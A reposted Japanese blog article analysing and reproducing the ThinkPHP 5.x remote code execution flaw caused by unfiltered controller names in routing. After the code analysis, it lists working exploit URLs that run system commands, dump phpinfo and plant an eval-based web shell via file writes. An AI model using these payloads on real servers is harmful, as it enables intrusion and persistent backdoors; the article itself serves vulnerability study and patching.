ホームページ > PHPフレームワーク > ThinkPHP > ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

藏色散人
リリース: 2019-11-08 17:58:11
転載
3019 人が閲覧しました

0x00 前書き

ThinkPHP は、2018 年 12 月 9 日に重要なセキュリティ アップデートを正式にリリースし、深刻なリモート コード実行の脆弱性を修正しました。この更新には主にセキュリティ更新が含まれます。フレームワークはコントローラー名に対して十分な検出を実行しないため、強制ルーティングがオンになっていない場合、getshell の脆弱性が発生する可能性があります。影響を受けるバージョンにはバージョン 5.0 および 5.1 が含まれます。次のことをお勧めします。できるだけ早く最新バージョンにアップデートしてください。

0x01 影響範囲

5.x

0x02 脆弱性分析

Thinkphp v5.0.x パッチ アドレス: https://github.com/top-think/framework/com...

Thinkphp v5。 1 .x パッチ アドレス: https://github.com/top-think/framework/com...

ルーティング情報のコントローラー部分がフィルターされています。ルーティングで問題が発生していることがわかりました。

スケジューリング中のキー コード:

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

修復前、プログラムはコントローラーをフィルタリングしなかったため、攻撃者は\ 記号を導入してクラス メソッドを呼び出します。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

$this->app->controller メソッドを使用してコントローラーをインスタンス化し、インスタンス内のメソッドを呼び出します。コントローラー メソッドを続行します。

parseModuleAndClass メソッドは、$module と $class を解析し、$class をインスタンス化します。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

parseModuleAndClass メソッドでは、$name がバックスラッシュ \ で始まる場合、それがクラス名として直接使用されます。名前空間の特性を利用して、ここの $name (つまりルートのコントローラー部分) を制御できれば、任意のクラスをインスタンス化できます。

次に、ルーティング解析コードを振り返ってみましょう。 Route/dispatch/Url.php::parseUrl メソッドは、route/Rule.php::parseUrlPath を呼び出して、pathinfo のルーティング情報を解析します

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

コードは比較的単純です。 use / $url をフィルタリングせずに分割します。

ルーティング URL は Request::path () から取得されます。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

var_pathinfo のデフォルト設定は s であるため、$_GET [ を使用できます。 '] を使用してルーティング情報を渡すこともできますが、pathinfo を使用して渡すこともできますが、テスト中に Windows 環境では $_SERVER ['pathinfo'] の \ が / に置き換えられます。前の分析と組み合わせると、次のように暫定的な使用率コードを取得できます:index.php?s=index/\namespace\class/method。これにより、\namespace\class クラスがインスタンス化され、メソッドが実行されます。

#0x03 脆弱性の悪用

Docker 脆弱性環境のソース コード:

https://github.com/vulnspy/thinkphp-5.1.29

ローカル環境: thinkphp5.0.15 php5.6n apache2.0

http://www.thinkphp.cn/donate/download/id/...

1. system 関数を使用してリモート コマンドを実行します

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
ログイン後にコピー

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

2. phpinfo 関数を使用して phpinfo ()

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ログイン後にコピー
## の情報を書き出します

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現#3. シェル:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
ログイン後にコピー

または

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo &#39;ok&#39;;?>
ログイン後にコピー

を記述します。

以上がThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:learnku.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート